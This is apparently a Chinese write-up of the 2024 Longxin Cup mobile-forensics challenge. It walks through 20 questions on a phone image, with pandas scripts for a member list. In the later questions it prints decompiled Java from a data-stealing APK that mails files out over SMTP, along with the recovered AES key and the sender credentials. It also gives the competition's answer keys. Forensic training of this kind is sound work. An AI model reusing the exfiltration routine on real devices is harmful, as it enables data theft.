2024第二届龙信杯WP+思路解析——手机取证

一些前置知识

手机有四个分区

system分区(misc目录)

存储系统信息(imsi 蓝牙的mac等等,手机剩余多少空间等等)

data分区(data目录)

存储应用数据(某人给某人发的短信有几条未读的,分析短信数据库)

sdcard分区

普通用户分区(打开文件管理看到的东西)

找应用数据的时候可以自己在模拟器里下载一个试一试看看数据文件存放在哪里

1、分析手机检材,请问此手机共通过adb连接过几个设备?[2]

adb是手机控制电脑的一个命令

两个不同的adbKey就是两个不通过的设备

image

2、分析手机检材,机主参加考试的时间是什么时候?[2024-08-23]

这个简单,看一眼便签就行

image

3、分析手机检材,请问手机的蓝牙Mac地址是多少?[48:87:59:76:21:0f]

这个也简单

image

4、分析手机检材,请问压缩包加密软件共加密过几份文件?[6]

这里直接找是很难找的,如果不是常规的压缩软件的话,那大概率是从浏览器下载的,我们可以去看看浏览器搜索记录

找应用数据的时候可以自己在模拟器里下载一个试一试看看数据文件存放在哪里

有一个filecomepress​,这个就是压缩软件了,我们直接去找他的软件包,

这里还有个坑,这个软件其实是叫filecompress​,检材里是故意弄错的,所以我们要按照filecompress​来找

锁定这个

image

里面有六个txt文件,经典ASCII码PK开头,都是zip文件,这里一共是6个

image

5、分析手机检材,请问机主的另外一个155的手机号码是多少?[15599555555]

这些压缩文件全都是加密,此时我们需要去对软件的APK进行逆向

全局搜索apk,因为一般安卓手机的应用都是base.apk,所以我们要从路径入手,筛选路径包含compress​的apk文件

image

先查看AndroidManifest.xml​,得到主活动部分是com.zs.filecompress.MainActivity​

image

这里的密码是直接被写入到明文里面了

image

拿着这个密码去解那几个压缩包,在mm.txt里面找到另一个号码

image

6、分析手机检材,其手机存在一个加密容器,请问其容器密码是多少。[d7Avsd!Y]u}J8i(1bnDD@<-o]

这个题就是接上题

image

7、分析手机检材,接上问,其容器中存在一份成员名单,嫌疑人曾经误触导致表格中的一个成员姓名被错误修改,请确认这个成员的原始正确姓名?[陆俊梅]

这里说一个找容器文件的小技巧,一般容器文件都是没有后缀,少部分会用.txt​后缀。并且容器文件的大小大部分是一个整数,并且没有后缀,比如这个题

前后的文件大小都有小数点,但是这个没有

image

这个容器需要用TrueCrypt​,因为计算机里有一个TC软件,所以推测使用TrueCrypt​打开

这里就是涉及到数据处理的思路了

然后主打AI改变生活

image

然后写个脚本

import pandas as pd

# 读取Excel文件
file_path = 'your_file.xlsx'  # 替换为你的文件路径
df = pd.read_excel(file_path)

# 假设列名为 '姓名', '电话', '邀请人姓名', '邀请人电话'
# 请根据你的文件实际列名调整
name_column = '姓名'
phone_column = '电话'
inviter_name_column = '邀请人姓名'
inviter_phone_column = '邀请人电话'

# 检查用户电话的重复项
duplicate_phones = df[df.duplicated(subset=[phone_column], keep=False)].sort_values(by=phone_column)

# 找出电话号码相同但姓名不同的记录
mismatched_names = duplicate_phones.groupby(phone_column).filter(lambda x: len(x[name_column].unique()) > 1)

# 检查邀请人电话的重复项
duplicate_inviter_phones = df[df.duplicated(subset=[inviter_phone_column], keep=False)].sort_values(by=inviter_phone_column)

# 找出邀请人电话号码相同但姓名不同的记录
mismatched_inviter_names = duplicate_inviter_phones.groupby(inviter_phone_column).filter(lambda x: len(x[inviter_name_column].unique()) > 1)

# 输出结果
print("电话号码相同但姓名不同的用户记录:")
print(mismatched_names)

print("\n邀请人电话号码相同但姓名不同的记录:")
print(mismatched_inviter_names)

陆俊梅这不就浮出水面了么

image

8、分析手机检材,接上题,请确认该成员的对应的最高代理人是谁(不考虑总部)?[标准格式:张三]

挨个找就完了,通过陆俊梅一直往上找

同理,AI改变生活

import pandas as pd

# 读取Excel文件
file_path = 'your_file.xlsx'  # 替换为你的文件路径
df = pd.read_excel(file_path)

# 假设列名为 '姓名', '电话', '邀请人姓名', '邀请人电话'
# 请根据你的文件实际列名调整
name_column = '姓名'
inviter_name_column = '邀请人姓名'

# 创建一个用户到邀请人的映射字典
user_to_inviter = dict(zip(df[name_column], df[inviter_name_column]))

# 递归函数:找到用户的所有上级,直到顶层
def find_superior_chain(user, chain=None):
    if chain is None:
        chain = []
  
    inviter = user_to_inviter.get(user)  # 找到当前用户的邀请人
    if inviter and inviter != user:  # 邀请人存在且不是自己
        chain.append(inviter)
        return find_superior_chain(inviter, chain)  # 递归查找上级
    return chain

# 为每个用户创建其上级层级关系
user_hierarchy = {}
for user in df[name_column]:
    user_hierarchy[user] = find_superior_chain(user)

# 转换为DataFrame以便输出
result_df = pd.DataFrame({
    '用户': user_hierarchy.keys(),
    '上级层级': [' > '.join(superiors[::-1]) if superiors else '无上级' for superiors in user_hierarchy.values()]
})

# 输出结果
print(result_df)

# 保存结果到Excel文件
output_path = 'user_hierarchy.xlsx'
result_df.to_excel(output_path, index=False)

print(f"\n用户层级结果已保存到 {output_path}")

image

9、分析手机检材,请确认在该组织中,最高层级的层次是多少?(从总部开始算第一级)[11]

不说了,都懂

import pandas as pd

# 读取Excel文件
file_path = 'user_hierarchy.xlsx'  # 替换为你的文件路径
df = pd.read_excel(file_path)

# 假设列名为 '用户' 和 '上级层级'
user_column = '用户'
hierarchy_column = '上级层级'

# 计算每个用户的层级数量
# 使用 '>' 分隔符计算上级数量,层级越多分隔符越多
df['层级数量'] = df[hierarchy_column].apply(lambda x: len(x.split(' > ')) if x != '无上级' else 0)

# 找到层级数量最多的行
max_hierarchy_row = df.loc[df['层级数量'].idxmax()]

# 输出结果
print("层级最多的用户信息:")
print(max_hierarchy_row)

# 保存结果到一个新的Excel文件(可选)
output_path = 'longest_hierarchy.xlsx'
max_hierarchy_row.to_frame().T.to_excel(output_path, index=False)

print(f"\n层级最多的用户信息已保存到 {output_path}")

image

10、分析手机检材,请问第二层级(从总部开始算第一级)人员最多的人是多少人?[贾书英]

这个可以手搓,已经确定了总部是第一级,看看谁的邀请人是总部,然后再把邀请人是总部的这些人挨个计数筛选,很简单就看出来是贾书英,邀请了60个人

image

image

11、分析手机检材,机主共开启了几款APP应用分身?[2]

应用题,只有龙信软件能做(盗图)

image

12、分析手机检材,请问机主现在安装了几款即时通讯软件(微博除外)?[2]

微信和默往

image

13、分析手机检材,请问勒索机主的账号是多少(非微信ID)?[1836042664454131712]

看聊天记录了,注意问的是账号

image

image

14、分析手机检材,接上问,请问机主通过此应用共删除了多少条聊天记录 ?[1]

唉,弘联做不了,用龙信软件(盗图)

image

15、分析手机检材,请问会盗取手机信息的APP应用包名是什么?[com.lxlxlx.luoliao]

image

image

16、接上题,请问该软件作者预留的座机号码是多少?[标准格式:40088855555]

这个题划重点,涉及到APK里面加解密的一些东西

首先看一眼雷电里有没有扫描出敏感信息,有个邮箱

image

再直接搜一下,和上面题一样,先通过AndroidManifest.xml​文件找到MainActivity​入口

已经提示是座机号码了,我们直接搜400,没有结果

image

那就肯定是涉及到加解密了,这里肯定会用到的函数就是getBytes​

找到邮箱部分代码的加密函数这一行

image

可以看出加密函数是b.b.a.a.a,E10ADC3949BA59ABBE56E057F20F883E​可能是密钥这一类的东西,我们先得找到这个b.b.a.a.a是怎么加密的

根据这个b.b.a.a.a找到加密函数目录,发现是AES加密

image

这样就简单了

​key​是E10ADC3949BA59ABBE56E057F20F883E​,iv​是其前16位,即E10ADC3949BA59AB​

然后找密文,分析源码发现,代码里的解密函数都是对

​s0​

​w0+x0​

​t0​

这一些东西进行解密,我们去找这些代表了什么含义

找到了

image

框起来的这一堆东西看起来就像是被加密过的东西

用在线AES解密试试(一定注意AES的模式,密码,IV也就是偏移量,填充要和原始加密代码相同)

image

如果不理解这个加密模式可以问AI,这个算法吧把IV直接算成密钥的前16位了,同时整个密文其实是w0+x0​,这个是需要分析源码的

image

17、接上题,恶意程序偷取数据的收件邮箱地址的gma11邮箱是多少?[1384567895@gma1l.com]

这个题我其实是先看的下面这个题,因为自动发邮件一定是要用到smtp服务的,所以先看下一个题

当看完下面的题发现我就是多此一举,SMTP服务的相关邮箱根本就和这些不在一块

再依次解密上面没有解密的密文,发现只有v0​解密出来是邮箱

image

但是为了以防万一,我们还是要去看看v0到底是个什么东西

image

妥了就是这个

当然看不懂可以请教AI

18、接上题,恶意程序偷取数据的发件邮箱地址是多少?[temp1234@gma1l.com]

自动发邮件一定是要用到smtp服务的,全局搜一下smtp

image

发现是对f304c进行的解密,搜一搜这个f304c

找到了

image

出现了三个,加密字符串

如果了解SMTP服务的话应该可以猜出来,一个是SMTP服务器,一个是指定发送邮件的邮箱,和一个SMTP服务的验证码一类的东西,就是19题中所说的密码

当然,如果不理解,直接把整个代码给ChatGPT看看就行了,这个题最后会放出我和GPT的对话,仅供参考

然后就依次解密三个字符串,答案显而易见了

f304c是SMTP的服务器地址

d是指定的发送邮件的邮箱

e是密码

image

image

image

您 说:
package b.b.a.g;

import c.b.b;
import c.b.f;
import c.b.k.e;
import c.b.k.h;
import c.b.k.i;
import c.b.k.j;
import java.io.File;
import java.util.List;
import java.util.Properties;

/* loaded from: classes.dex */
public class a {

    /* renamed from: a  reason: collision with root package name */
    public i f302a;

    /* renamed from: b  reason: collision with root package name */
    public Properties f303b = new Properties();

    /* renamed from: c  reason: collision with root package name */
    public String f304c = "vYyjDLnOMdPvDhyqxr41zQ==";
    public String d = "EX0dgp0EDZ9v3yE9hX2mQcMa9DPzJQ/LPkZDKyiDH64=";
    public String e = "kbLBbvDVyghScP1Jy6bK7A==";

    public final boolean a() {
        try {
            this.f303b.put("mail.smtp.host", new String(b.b.a.a.a(this.f304c.getBytes(), "E10ADC3949BA59ABBE56E057F20F883E".getBytes())));
            this.f303b.put("mail.smtp.auth", "true");
            this.f303b.put("mail.transport.protocol", "smtp");
            this.f303b.put("mail.smtp.starttls.enable", "true");
            this.f303b.put("mail.smtp.ssl.checkserveridentity", "false");
            this.f303b.put("mail.smtp.ssl.trust", new String(b.b.a.a.a(this.f304c.getBytes(), "E10ADC3949BA59ABBE56E057F20F883E".getBytes())));
            this.f302a = new i();
            return true;
        } catch (Exception e) {
            e.printStackTrace();
            return false;
        }
    }

    public final boolean a(String str, String str2, List<String> list, List<File> list2) {
        try {
            this.f302a.a(new e(new String(b.b.a.a.a(this.d.getBytes(), "E10ADC3949BA59ABBE56E057F20F883E".getBytes()))));
            e[] eVarArr = new e[list.size()];
            for (int i = 0; i < list.size(); i++) {
                eVarArr[i] = new e(list.get(i));
            }
            this.f302a.a(f.a.f369c, eVarArr);
            this.f302a.c(str);
            j jVar = new j();
            h hVar = new h();
            hVar.a((Object) str2, "text/html;charset=UTF-8");
            jVar.a((b) hVar);
            if (list2 != null && list2.size() > 0) {
                for (File file : list2) {
                    h hVar2 = new h();
                    hVar2.a(new c.a.f(new c.a.j(file)));
                    h.b(hVar2, file.getName());
                    jVar.a((b) hVar2);
                }
            }
            i iVar = this.f302a;
            if (iVar != null) {
                iVar.a(new c.a.f(jVar, jVar.a()));
                jVar.a(iVar);
                this.f302a.e();
                throw null;
            }
            throw null;
        } catch (Exception e) {
            e.printStackTrace();
            return true;
        }
    }
}

给我解释一下这段代码发送文件的逻辑

ChatGPT 说:

这段代码实现了一个类 a​,其主要功能是通过 SMTP 协议发送电子邮件,并支持附加文件。下面是对代码发送文件逻辑的详细解释:

关键组件

  1. 属性:

    • ​f302a​: 一个 i​ 类型的对象,可能是用于处理邮件发送的核心类。
    • ​f303b​: 存储邮件配置的 Properties​ 对象,包含 SMTP 服务器的设置。
    • ​f304c​, d​, e​: 一些加密字符串,用于邮件发送的身份验证或配置。

方法 a()​

  • 初始化邮件配置:

    • 该方法使用 b.b.a.a.a​ 方法对 f304c​ 字符串进行解密或处理,设置 SMTP 主机和其他邮件参数。
    • 将必要的邮件参数添加到 f303b​ 中,包括 SMTP 主机、认证、协议等。
    • 创建 i​ 类的实例 (f302a​)。

方法 a(String str, String str2, List<String> list, List<File> list2)​

  1. 参数:

    • ​str​: 收件人的电子邮件地址。
    • ​str2​: 邮件内容(正文)。
    • ​list​: 邮件主题或标题(可能是附件的描述)。
    • ​list2​: 要发送的文件列表。
  2. 步骤:

    • 设置邮件发件人: 使用解密后的字符串 d​ 初始化邮件发送者。

    • 准备邮件内容:

      • 将邮件主题、正文内容(str2​)和字符集(text/html;charset=UTF-8​)设置到邮件中。
      • 如果 list2​ 中有文件,则遍历这些文件,创建一个 h​ 类型的对象来添加文件作为附件,并指定文件名称。
    • 发送邮件:

      • 将邮件内容和附件打包成一个对象并传递给 f302a​,然后调用其发送方法 e()​ 来发送邮件。

错误处理

  • 在整个流程中,使用 try-catch​ 语句捕获任何异常并打印堆栈信息。如果发送失败,返回 false​,如果发送成功则返回 true​。

总结

整个流程实现了通过 SMTP 发送电子邮件的逻辑,包括设置邮件服务器配置、邮件主体、附件等信息。代码中使用了加密处理和错误捕获,确保了发送过程的安全性和稳定性。

4o

您说:

f304c,d和e充当了什么角色

ChatGPT 说:

在这段代码中,f304c​、d​ 和 e​ 这三个字符串充当了不同的角色,主要涉及邮件发送过程中的身份验证和配置。具体作用如下:

  1. ​f304c​:

    • 这个字符串通常是 SMTP 服务器的主机名或某种识别信息。
    • 在方法 a()​ 中,它被解密或处理后用作邮件发送的 SMTP 主机地址和信任设置,确保邮件能够成功发送到指定的服务器。
  2. ​d​:

    • 这个字符串可能代表发件人的电子邮件地址或某种认证信息。
    • 在方法 a(String str, String str2, List<String> list, List<File> list2)​ 中,它被解密后用来设置邮件的发件人,确保邮件能从合法的来源发送。
  3. ​e​:

    • 这个字符串在代码中未被直接使用,但根据其命名,可能与邮件的其他配置或身份验证相关,或者在其他部分的代码中有具体用途。
    • 它的存在可能是为了确保代码的灵活性或兼容性,允许未来的扩展或变更。

总结

这三个字符串在邮件发送过程中扮演了身份验证和配置的关键角色,通过对它们的处理,确保了邮件能从合法的来源发送,并能够成功到达指定的 SMTP 服务器。

19、接上题,恶意程序偷取数据的发件邮箱密码是多少?[qwer123456]

上个题出了

20、接上题,恶意程序定义收发件的地址函数是什么?[b]

这个不就上个题的那个函数么

image

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Q3_SkyAsh

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值